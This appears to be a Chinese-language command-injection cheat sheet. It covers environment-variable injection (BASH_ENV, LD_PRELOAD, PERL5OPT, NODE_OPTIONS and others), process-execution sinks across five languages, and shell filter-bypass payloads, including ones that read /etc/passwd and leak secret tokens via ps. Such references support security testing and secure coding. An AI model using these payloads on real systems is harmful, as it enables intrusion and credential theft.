命令注入

环境变量

BASH_ENV

您可以使用 BASH_ENV 与 bash 来实现命令注入:

$ BASH_ENV='$(id 1>&2)' bash -c 'echo hello'
uid=0(root) gid=0(root) groups=0(root)
hello

参考:

BASH_FUNC_*%%

您可以使用 BASH_FUNC_*%% 根据环境变量的值初始化匿名函数并为其命名。以下示例将 myfunc 函数添加到 bash 上下文中:

$ env $'BASH_FUNC_myfunc%%=() { id; }' bash -c 'myfunc'
uid=0(root) gid=0(root) groups=0(root)

此外,您可以覆盖现有函数:

$ env $'BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello'
uid=0(root) gid=0(root) groups=0(root)
hello

参考:

ENV

当您强制 dash 以交互方式运行时,dash 将查找 ENV 环境变量并将其传递给 read_profile 函数:

if ((shinit = lookupvar("ENV")) != NULL && *shinit != '\0') {
    read_profile(shinit);
}

read_profile 将打印 ENV 内容:

$ ENV='$(id 1>&2)' dash -i -c 'echo hello'
uid=0(root) gid=0(root) groups=0(root)
hello

您可以使用 sh 获得相同的结果:

$ ENV='$(id 1>&2)' sh -i -c "echo hello"
uid=0(root) gid=0(root) groups=0(root)
hello

参考:

GIT_*

以下 GIT_* 参数可用于滥用 git 目录:

LD_PRELOAD

LD_PRELOAD 是一个可选的环境变量,包含一个或多个共享库或共享对象的路径,加载程序将在任何其他共享库(包括 C 运行时库 libc.so)之前加载它们。

在 Linux C 中,函数可以在函数定义中使用属性进行声明。这是通过将所需的属性添加到函数定义中来完成的。有两个感兴趣的属性,constructor 和 destructor。具有 constructor 属性的函数将在程序执行 main() 之前运行。对于共享对象,这将发生在加载时。使用 destructor 属性声明的函数应该在 main() 返回或调用 exit() 时运行一次。

LD_PRELOAD 可用于覆盖标准的 libc 调用,查看 为了乐趣和利润滥用 LD_PRELOAD

换句话说,您可以编译一个共享库在加载时和/或返回之前调用:

  1. 重用以下代码来编译共享库:

    // C code for LD_PRELOAD injection example // This is a generic LD_PRELOAD example that can be used for testing

  2. 使用以下命令编译共享库:

    $ gcc -Wall -O3 -fPIC -shared inject.c -o inject.so
  3. 利用:

    $ LD_PRELOAD=./inject.so git -v
    
    [+] Inject.so Loaded!
    [*] PID: 1337
    [*] Process: /usr/bin/git
    
    Unknown option: -v
    usage: git [--version] [--help] [-C <path>] [-c name=value]
            [--exec-path[=<path>]] [--html-path] [--man-path] [--info-path]
            [-p | --paginate | --no-pager] [--no-replace-objects] [--bare]
            [--git-dir=<path>] [--work-tree=<path>] [--namespace=<name>]
            <command> [<args>]
    
    [-] Inject.so is being unloaded!
    $ LD_PRELOAD=./inject.so id
    
    [+] Inject.so Loaded!
    [*] PID: 1337
    [*] Process: /usr/bin/id
    
    uid=0(root) gid=0(root) groups=0(root)
    $ LD_PRELOAD=./inject.so bash -c "echo 'hello'"
    
    [+] Inject.so Loaded!
    [*] PID: 1337
    [*] Process: /bin/bash
    
    hello
    
    [-] Inject.so is being unloaded!

参考:

PERL5OPT

PERL5OPT 指定命令行选项,但仅限于接受选项 CDIMTUWdmtw

PERL5OPT=-M 可用于加载 Perl 模块并在模块名称后添加额外代码:

PERL5OPT='-Mbase;print(`{cmdname,arg1,arg2}`)' perl /dev/null

参考:

PERL5DB

PERL5DB 指定用于加载调试器代码的命令。PERL5DB 仅在 Perl 以裸 -d 开关启动时使用。

PERL5OPT=-d PERL5DB='system("ls -la");' perl /dev/null

参考:

PERLLIB 和 PERL5LIB

PERLLIBPERL5LIB 设置在标准库中查找 Perl 库文件的目录列表。如果定义了 PERL5LIB,则不使用 PERLLIB

如果有办法将恶意的 Perl 模块写入文件系统,PERLLIBPERL5LIB 可用于执行任意命令:

$ cat > /tmp/root.pm << EOF
package root;
use strict;
use warnings;

system("cmdname arg1 arg2");
EOF
$ PERLLIB=/tmp PERL5OPT=-Mroot perl /dev/null

参考:

PYTHONWARNINGS

PYTHONWARNINGS 等同于指定用于警告控制的 -W 选项。参数的完整形式是 action:message:category:module:line

如果指定的类别包含点,警告控制会触发任意 Python 模块的导入:

# /Lib/warnings.py
# ...
def _getcategory(category):
    if not category:
        return Warning
    if '.' not in category:
        import builtins as m
        klass = category
    else:
        module, _, klass = category.rpartition('.')
        try:
            m = __import__(module, None, None, [klass])
        except ImportError:
            raise _OptionError("invalid module name: %r" % (module,)) from None
# ...

如果有办法将恶意的 Python 模块写入文件系统,PYTHONWARNINGS 可用于执行任意命令:

$ cat > /tmp/exec.py << EOF
import os
os.system("cmdname arg1 arg2")
EOF
$ PYTHONPATH="/tmp" PYTHONWARNINGS=all:0:exec.x:0:0 python3 python /dev/null

但是,您可以使用 Python 标准库中的 antigravity 模块来运行任意命令。运行 import antigravity 将立即打开浏览器到 xkcd 漫画,该漫画开玩笑说在 Python 中 import antigravity 会赋予您飞行的能力。antigravity 使用标准库中称为 webbrowser 的另一个模块来打开浏览器。此模块检查 PATH 以查找各种浏览器,包括 mosaic, opera, skipstone, konqueror, chrome, chromium, firefox, links, elinks and lynx。它还接受一个环境变量 BROWSER,可用于指定应执行哪个进程。无法在环境变量中为进程提供参数,xkcd 漫画 URL 是命令的硬编码参数:

$ <BROWSER> https://xkcd.com/353/

执行任意命令的一种方法是利用 Perl,它通常安装在系统上,甚至在标准的 Python docker 镜像中也可用。但是,perl 二进制文件本身不能使用。这是因为第一个也是唯一的参数是 xkcd 漫画 URL。漫画 URL 参数将导致错误并使进程退出,而不使用 PERL5OPT 环境变量。

幸运的是,当 Perl 可用时,通常也有默认的 Perl 脚本可用,例如 perldocperlthanks。这些脚本也会错误并以无效参数退出,但这种情况下的错误发生在 PERL5OPT 环境变量处理之后。这意味着可以利用 Perl 环境变量来执行命令。

$ PYTHONWARNINGS=all:0:antigravity.x:0:0 BROWSER=perlthanks PERL5OPT='-Mbase;print(`{cmdname,arg1,arg2}`);' python3 python /dev/null

参考:

NODE_OPTIONS

NODE_OPTIONS 指定以空格分隔的命令行选项列表。

如果有办法将恶意的 Node.js 模块写入文件系统,NODE_OPTIONS 可用于执行任意命令:

$ cat > /tmp/exec << EOF
console.log(require("child_process").execSync("id").toString());
EOF
$ NODE_OPTIONS='--require /tmp/exec' node node /dev/null

如果没有办法将模块写入文件系统,您可以使用 proc 文件系统,特别是 /proc/self/environ,来传递 payload。

$ AAAA='console.log(require("child_process").execSync("id").toString());//' NODE_OPTIONS'=--require /proc/self/environ' node node /dev/null

但是,有两个约束条件:

  1. 使用 /proc/self/environ 只有在内容在语法上有效 JavaScript 时才可能。为此,您需要能够创建环境变量并使其首先出现在 /proc/self/environ 的内容中。

  2. 由于第一个环境变量的值以单行注释 // 结尾,其他环境变量中的任何换行符都将导致语法错误。使用多行注释 /* 不会解决问题,因为它们必须关闭才能在语法上有效。在这种情况下,需要覆盖包含换行符的变量的值。

参考:

RUBYOPT

RUBYOPT 指定命令行选项。

如果有办法将恶意的 Ruby 库写入文件系统,RUBYOPT 可用于执行任意命令。-r 选项使 Ruby 使用 require 加载库,但这仅限于扩展名为 .rb.so 的文件:

$ cat > /tmp/exec.rb << EOF
puts `cmdname arg1 arg2`
EOF
$ RUBYOPT=-r/tmp/exec.rb ruby /dev/null

参考:

编程语言

Go

// https://pkg.go.dev/os#StartProcess
// os.StartProcess
var procAttr = os.ProcAttr
os.StartProcess(
    "cmdname",
    []string{"arg1", "arg2"},
    &procAttr,
)

// https://pkg.go.dev/os/exec#Command
// os/exec.Command
exec.Command("cmdname", "arg1", "arg2").Run()

// 命令行执行
cmd := exec.Command("bash", "-c", "cmdname arg1 arg2")
out, err := cmd.Output()

// https://pkg.go.dev/os/exec#CommandContext
// os/exec.CommandContext
exec.CommandContext(ctx, "cmdname", "arg1", "arg2").Run()

// https://pkg.go.dev/os/exec#Cmd
// os/exec.Cmd
cmd := &exec.Cmd {
    Path: "cmdname",
    Args: []string{ "arg1", "arg2" },
}
cmd.Run();

// https://pkg.go.dev/syscall#Exec
// syscall.Exec
syscall.Exec(
    "cmdname",
    []string{ "arg1", "arg2" },
    os.Environ(),
)

// https://pkg.go.dev/syscall#ForkExec
// syscall.ForkExec (仅限 unix)
var procAttr = os.ProcAttr
syscall.ForkExec(
    "cmdname",
    []string{ "arg1", "arg2" },
    &procAttr,
)

// https://pkg.go.dev/syscall#StartProcess
// syscall.StartProcess
var procAttr = os.ProcAttr
syscall.StartProcess(
    "cmdname",
    []string{ "arg1", "arg2" },
    &procAttr,
)

// https://pkg.go.dev/syscall?GOOS=windows#CreateProcess
// https://pkg.go.dev/syscall?GOOS=windows#CreateProcessAsUser
// syscall.CreateProcess 和 syscall.CreateProcessAsUser (仅限 windows)
var sI syscall.StartupInfo
var pI syscall.ProcessInformation
cmdline := syscall.UTF16PtrFromString("cmdname arg1 arg2")
syscall.CreateProcess(nil, cmdline, nil, nil, true, 0, nil, nil, &sI, &pI)

Java

// https://docs.oracle.com/javase/8/docs/api/java/lang/Runtime.html
// java.lang.Runtime.exec
Runtime.getRuntime().exec("cmdname arg1 arg2");
Runtime.getRuntime().exec(new String[] {"cmdname", "arg1", "arg2"})
// 或完整路径
java.lang.Runtime.getRuntime().exec("cmdname arg1 arg2");

// https://docs.oracle.com/javase/8/docs/api/java/lang/ProcessBuilder.html
// java.lang.ProcessBuilder
new ProcessBuilder("cmdname", "arg1", "arg2").start();
new ProcessBuilder(new String[]{"cmdname", "arg1", "arg2"}).start();
// 或使用命令
ProcessBuilder pb = new ProcessBuilder();
pb.command("cmdname", "arg1", "arg2").start();
pb.command(new String[]{"cmdname", "arg1", "arg2"}).start();
// 或完整路径
new java.lang.ProcessBuilder("cmdname", "arg1", "arg2").start();

// https://commons.apache.org/proper/commons-exec/apidocs/org/apache/commons/exec/Executor.html
// org.apache.commons.exec.Executor
Executor exec = new DefaultExecutor();
exec.execute(new CommandLine("cmdname arg1 arg2"););

// javax.script.ScriptEngine eval
new ScriptEngineManager()
    .getEngineByExtension("js")
    .eval("js code here");

// java.lang.Runtime loadLibrary
Runtime.getRuntime().loadLibrary("library path here");
java.lang.Runtime.getRuntime().loadLibrary("library path here");

// https://docs.groovy-lang.org/latest/html/api/groovy/lang/GroovyShell.html
// groovy.lang.GroovyShell
GroovyShell shell = new GroovyShell();
shell.evaluate(...);
shell.parse(...);
shell.parseClass(...);

Node.js

// child_process 或 mz/child_process

// https://nodejs.org/api/child_process.html#child_processexeccommand-options-callback
// child_process.exec
const { exec } = require('child_process');
exec('cmdname arg1 arg2');
exec('...', { 'shell': '/path/to/controlled/executable/file' });

// https://nodejs.org/api/child_process.html#child_processexecsynccommand-options
// child_process.execSync
const { execSync } = require('child_process');
execSync('cmdname arg1 arg2');
execSync('...', { 'shell': '/path/to/controlled/executable/file' });

// https://nodejs.org/api/child_process.html#child_processexecfilefile-args-options-callback
// child_process.execFile
const { execFile } = require('child_process');
execFile('cmdname', ['arg1', 'arg2'], (error, stdout, stderr) => { /* ... */ });

// https://nodejs.org/api/child_process.html#child_processexecfilesyncfile-args-options
// child_process.execFileSync
const { execFileSync } = require('child_process');
execFileSync('cmdname', ['arg1', 'arg2'], (error, stdout, stderr) => { /* ... */ });

// https://nodejs.org/api/child_process.html#child_processspawncommand-args-options
// child_process.spawn
const { spawn } = require('child_process');
spawn('cmdname', ['arg1', 'arg2']);
spawn('cmdname arg1 arg2', { shell: true });

// https://nodejs.org/api/child_process.html#child_processspawnsynccommand-args-options
// child_process.spawnSync
const { spawnSync } = require('child_process');
spawnSync('cmdname', ['arg1', 'arg2']);
spawnSync('cmdname arg1 arg2', { shell: true });

// https://www.npmjs.com/package/shelljs
// shelljs.exec
var shell = require('shelljs');
shell.exec('cmdname arg1 arg2');

// https://www.npmjs.com/package/cross-spawn
// cross-spawn.spawn
const spawn = require('cross-spawn');
spawn('cmdname', ['arg1', 'arg2']);
spawn.sync('cmdname', ['arg1', 'arg2']);

// https://www.npmjs.com/package/execa
// execa

// https://github.com/sindresorhus/execa#execafile-arguments-options
// execa.execa
import { execa } from 'execa';
execa.execa('cmdname', ['arg1', 'arg2']);

// https://github.com/sindresorhus/execa#execasyncfile-arguments-options
// execa.execaSync
import { execaSync } from 'execa';
execa.execaSync('cmdname', ['arg1', 'arg2']);

// https://github.com/sindresorhus/execa#command
// execa.$`command`
import { $ } from 'execa';
$`cmdname arg1 arg2`;

// https://github.com/sindresorhus/execa#synccommand
// execa.$.sync`command`
import { $ } from 'execa';
$.sync`cmdname arg1 arg2`

// https://github.com/sindresorhus/execa#execacommandcommand-options
// execa.execaCommand
execa.execaCommand('cmdname arg1 arg2')

// https://github.com/sindresorhus/execa#execacommandsynccommand-options
// execa.execaCommandSync
execa.execaCommandSync('cmdname arg1 arg2')

Python

# https://docs.python.org/3/library/os.html#os.system
# os.system
os.system("cmdname arg1 arg2")

# https://docs.python.org/3/library/os.html#os.popen
# os.popen
os.popen("cmdname arg1 arg2")

# https://docs.python.org/2.7/library/os.html#os.popen2
# 已弃用,在 Python <= 2.7 中可用
# os.popen2, os.popen3, os.popen4
os.popen2("cmdname arg1 arg2")

# https://docs.python.org/3/library/os.html#os.spawnl
# os.spawn*
os.spawnl(mode, "path", "arg1", "arg2")
os.spawnle(mode, "path", "arg1", "arg2", os.environ)
os.spawnlp(mode, "file", "arg1", "arg2")
os.spawnlpe(mode, "file", "arg1", "arg2", os.environ)
os.spawnv(mode, "path", ["arg1", "arg2"])
os.spawnve(mode, "path", ["arg1", "arg2"], os.environ)
os.spawnvp(mode, "file", ["arg1", "arg2"])
os.spawnvpe(mode, "file", ["arg1", "arg2"], os.environ)

# https://docs.python.org/3/library/os.html#os.execl
# os.exec*
os.execl("path", "arg1", "arg2")
os.execle("path", "arg1", "arg2", os.environ)
os.execlp("file", "arg1", "arg2")
os.execlpe("file", "arg1", "arg2", os.environ)
os.execv("path", ["arg1", "arg2"])
os.execve("path", ["arg1", "arg2"], os.environ)
os.execvp("file", ["arg1", "arg2"])
os.execvpe("file", ["arg1", "arg2"], os.environ)

# https://docs.python.org/3/library/os.html#os.posix_spawn
# os.posix_spawn
os.posix_spawn("path", ["arg1", "arg2"], os.environ)

# https://docs.python.org/3/library/os.html#os.posix_spawnp
# os.posix_spawnp
os.posix_spawn("path", ["arg1", "arg2"], os.environ)

# https://docs.python.org/3/library/subprocess.html#subprocess.call
# subprocess.call
subprocess.call("cmdname arg1 arg2", shell=True)
subprocess.call(["cmdname", "arg1", "arg2"])

# https://docs.python.org/3/library/subprocess.html#subprocess.run
# subprocess.run
subprocess.run("cmdname arg1 arg2", shell=True)
subprocess.run(["cmdname", "arg1", "arg2"])

# https://docs.python.org/3/library/subprocess.html#subprocess.Popen
# subprocess.Popen
subprocess.Popen("cmdname arg1 arg2", shell=True)
subprocess.Popen(["cmdname", "arg1", "arg2"])

# https://docs.python.org/3/library/subprocess.html#subprocess.check_call
# subprocess.check_call
subprocess.check_call("cmdname arg1 arg2", shell=True)
subprocess.check_call(["cmdname", "arg1", "arg2"])

# https://docs.python.org/3/library/subprocess.html#subprocess.check_output
# subprocess.check_output
subprocess.check_output("cmdname arg1 arg2", shell=True)
subprocess.check_output(["cmdname", "arg1", "arg2"])

# https://docs.python.org/3/library/subprocess.html#subprocess.getoutput
# subprocess.getoutput
subprocess.getoutput("cmdname arg1 arg2")

# https://docs.python.org/3/library/subprocess.html#subprocess.getstatusoutput
# subprocess.getstatusoutput
subprocess.getstatusoutput("cmdname arg1 arg2")

# https://docs.python.org/2.7/library/popen2.html#module-popen2
# 已弃用,在 Python <= 2.7 中可用
# popen2.popen2, popen2.popen3, popen2.popen4, popen2.Popen3, popen2.Popen4
popen2.popen2("cmdname arg1 arg2")
popen2.Popen3("cmdname arg1 arg2")

# https://docs.python.org/2.7/library/platform.html#platform.popen
# 已弃用,在 Python <= 2.7 中可用
platform.popen("cmdname arg1 arg2")

Ruby

# 反引号
`cmdname arg1 arg2`

# %x 命令
%x cmdname ;
# %x<CHAR>命令<CHAR>
%x(cmdname arg1 arg2)
%x[cmdname arg1 arg2]
%x|cmdname arg1 arg2|
%x{cmdname arg1 arg2}
%x/cmdname arg1 arg2/
%x"cmdname arg1 arg2"
# ...

# shell heredoc
<<`EOF`
cmdname arg1 arg2
EOF

# https://ruby-doc.org/3.2.1/Kernel.html#method-i-exec
# Kernel.exec
exec("cmdname arg1 arg2")
exec(["cmdname", "argv0"], "arg1", "arg2")
exec("cmdname", "arg1", "arg2")
# 或
Kernel.exec("cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/Kernel.html#method-i-system
# Kernel.system
system("cmdname arg1 arg2")
system(["cmdname", "argv0"], "arg1", "arg2")
system("cmdname", "arg1", "arg2")
# 或
Kernel.system("cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/Kernel.html#method-i-spawn
# Kernel.spawn
spawn("cmdname arg1 arg2")
spawn(["cmdname", "argv0"], "arg1", "arg2")
spawn("cmdname", "arg1", "arg2")
# 或
Kernel.system("cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/Kernel.html#method-i-open
# Kernel.open
open("| cmdname arg1 arg2")
# 或
Kernel.open("| cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/Process.html#method-c-spawn
# Process.spawn
Process.spawn("cmdname arg1 arg2")
Process.spawn(["cmdname", "argv0"], "arg1", "arg2")
Process.spawn("cmdname", "arg1", "arg2")

# https://ruby-doc.org/3.2.1/Process.html#method-c-exec
# Process.exec
Process.exec("cmdname arg1 arg2")
Process.exec(["cmdname", "argv0"], "arg1", "arg2")
Process.exec("cmdname", "arg1", "arg2")

# https://ruby-doc.org/3.2.1/IO.html#method-c-popen
# IO.popen
IO.popen("cmdname arg1 arg2")
IO.popen(["cmdname", "arg1", "arg2"])
IO.popen([["cmdname", "argv0"], "arg1", "arg2"])

# https://ruby-doc.org/3.2.1/IO.html#method-c-read
# IO.read
IO.read("| cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/IO.html#method-c-write
# IO.write
IO.write("| cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/IO.html#method-c-binread
# IO.binread
IO.binread("| cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/IO.html#method-c-binwrite
# IO.binwrite
IO.binwrite("| cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/IO.html#method-c-foreach
# IO.foreach
IO.foreach("| cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/IO.html#method-c-readlines
# IO.readlines
IO.readlines("| cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-capture2
# Open3.capture2
Open3.capture2("cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-capture2e
# Open3.capture2e
Open3.capture2e("cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-capture3
# Open3.capture3
Open3.capture3("cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-popen2
# Open3.popen2
Open3.popen2("cmdname arg1 arg2")
Open3.popen2(["cmdname", "arg1", "arg2"])
Open3.popen2([["cmdname", "argv0"], "arg1", "arg2"])

# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-popen2e
# Open3.popen2e
Open3.popen2e("cmdname arg1 arg2")
Open3.popen2e(["cmdname", "arg1", "arg2"])
Open3.popen2e([["cmdname", "argv0"], "arg1", "arg2"])

# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-popen3
# Open3.popen3
Open3.popen3("cmdname arg1 arg2")
Open3.popen3(["cmdname", "arg1", "arg2"])
Open3.popen3([["cmdname", "argv0"], "arg1", "arg2"])

# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-pipeline
# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-pipeline_r
# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-pipeline_rw
# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-pipeline_start
# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-pipeline_w
# Open3.pipeline(_r/_w/_rw/_start)
Open3.pipeline("cmdname arg1 arg2", "cmdname arg1 arg2")
Open3.pipeline(["cmdname", "arg1", "arg2"], "cmdname arg1 arg2")
Open3.pipeline([["cmdname", "argv0"], "arg1", "arg2"], "cmdname arg1 arg2")

# https://ruby-doc.org/stdlib-2.5.1/libdoc/open-uri/rdoc/OpenURI.html
# URI.open
# 参考:https://sakurity.com/blog/2015/02/28/openuri.html
require "open-uri"
URI.open("| cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/Object.html#method-i-send
# https://ruby-doc.org/3.2.1/Object.html#method-i-public_send
# 参考:https://bishopfox.com/blog/ruby-vulnerabilities-exploits
# Object.send, Object.public_send
1.send("eval", "`cmdname arg1 arg2`")
"".send("eval", "`cmdname arg1 arg2`")
o.send("method", "args")

Linux 文件

/etc/environment

/etc/environment 包含指定新 shell 基本环境变量的环境变量。但是,它可以被其他程序使用。Linux 任务调度程序(cron)中的每个执行作业都导入此文件,如果存在由用户(例如 root)执行的作业,您可以滥用 /etc/environment 代表该用户执行任意代码。例如,您可以使用 LD_PRELOAD 来获得代码执行。

参考:

技巧

花括号扩展

花括号扩展是一种生成任意字符串的机制。要花括号扩展的模式采用可选序言的形式,后跟一系列逗号分隔的字符串或一对花括号之间的序列表达式,后跟可选的后记。序言前缀到包含在花括号内的每个字符串,然后后记附加到每个结果字符串,从左到右扩展。例如:

$ echo a{d,c,b}e
ade ace abe

您可以使用花括号扩展来创建 payload:

$ {cat,/etc/passwd}

参考:

命令替换

命令替换允许命令的输出替换命令本身。当命令按如下方式包含时,会发生命令替换:

$(command)
`command`

Bash 通过在子 shell 环境中执行命令并用命令的标准输出替换命令替换来执行扩展。

参考:

字符编码

有几种处理编码字符串的方法:

  1. $'string' 单词:

    形式为 $'string' 的单词被特殊处理。该单词扩展为字符串,反斜杠转义字符按照 ANSI C 标准指定的方式替换。

    $ a=$'\x74\x65\x73\x74'; echo $a
    $ a=$'\164\145\163\164'; echo $a
    $ a=$'\u0074\u0065\u0073\u0074'; echo $a
    $ a=$'\U00000074\U00000065\U00000073\U00000074'; echo $a
  2. echo 命令:

    echo 提供 -e 选项来解释反斜杠转义。注意识别的序列取决于 echo 的版本,以及 -e 选项可能根本不存在。

    echo -e "\x74\x65\x73\x74"
    echo -e "\0164\0145\0163\0164"
  3. xxd 命令:

    $ xxd -r -p <<< 74657374
    $ xxd -r -ps <(echo 74657374)

参考:

泄露命令行参数

如果您在 cli 命令中有参数注入,该命令已传递敏感参数,如令牌或密码,您可以尝试使用 ps x -w 泄露传递的秘密。

# 您可以向 <injection here> 部分注入任意参数
$ command --user username --token SECRET_TOKEN <injection here>
# 使用 & 将易受攻击的命令发送到后台
# 并使用 ps x -w 捕获参数
$ command --user username --token SECRET_TOKEN & ps x -w

    PID TTY      STAT   TIME COMMAND
   1337 ?        S      0:00 /usr/bin/command --user username --token SECRET_TOKEN
   1574 ?        R      0:00 ps x -w

如果 cli 日志隐藏敏感设置或敏感数据未存储在环境中,这可能会很有用。

如果 cli 日志隐藏敏感数据或敏感数据未存储在环境中(例如,GitHub Actions 提供变量插值 ${{...}} 用于注入秘密,并且您无法在执行期间访问秘密),这可能会很有用。另一种情况是当您有盲注时,可以将 ps x -w 的输出重定向到您有权访问的文件。

命令列表

使用运算符 ;&&&|| 组合多个命令的执行,并可选择由 ;&\n 之一终止。

$ command1; command2
$ command1 & command2
$ command1 && command2
$ command1 || command2 # 仅当 command1 失败时
$ command1\ncommand2

此外,您可以使用管道用于相同的目的:

$ command1 | command2 
$ command1 |& command2 

参考:

使用 tr 产生斜杠

$ echo . | tr '!-0' '"-1'
$ tr '!-0' '"-1' <<< .
$ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd

重定向

在命令执行之前使用运算符 >>|>>< 等重定向输入和输出。

$ ls > dirlist 2>&1
$ cat</etc/passwd

使用运算符 <<< 提供附加换行符的单个字符串。

$ base64 -d <<< dGVzdA==

参考:

Shell 参数扩展

参数扩展的基本形式是 ${parameter};参数的值被替换:

$ a="es"; echo "t${a}t"

更复杂的参数扩展形式允许您执行各种操作。例如,您可以提取子字符串并使用它们来创建 payload:

$ echo ${HOME:0:1}
$ cat ${HOME:0:1}etc${HOME:0:1}passwd

此外,匹配和替换在使用黑名单时可能很有用:

$ a=/eAAA/Atc/paAAA/Asswd; echo ${a//AAA\/A/}

参考:

特殊 Shell 参数

有几个参数 Shell 会特殊处理。其中一些参数您可用于创建 payload:

$ i$@d
# $0 扩展为 shell 或 shell 脚本的名称
$ bash -c 'echo id|$0'

参考:

Shell 变量

Bash 自动为许多变量分配默认值,如 HOMEPATH。其中一些变量可用于创建 payload。例如,您可以将 IFS 变量用作分隔符(这是可能的,因为 IFS 包含分隔字段的字符列表):

$ cat$IFS/etc/passwd
$ echo${IFS}"test"

此外,您可以覆盖 IFS 并使用任何字符作为分隔符:

$ IFS=,;`cat<<<uname,-a`

参考:

技巧

# 在命令名中使用单引号
$ w'h'o'am'i
# 在命令名中使用双引号
$ w"h"o"am"i
# 在命令名中使用反斜杠和斜杠
$ w\ho\am\i
$ /\b\i\n/////s\h

参考

最后更新于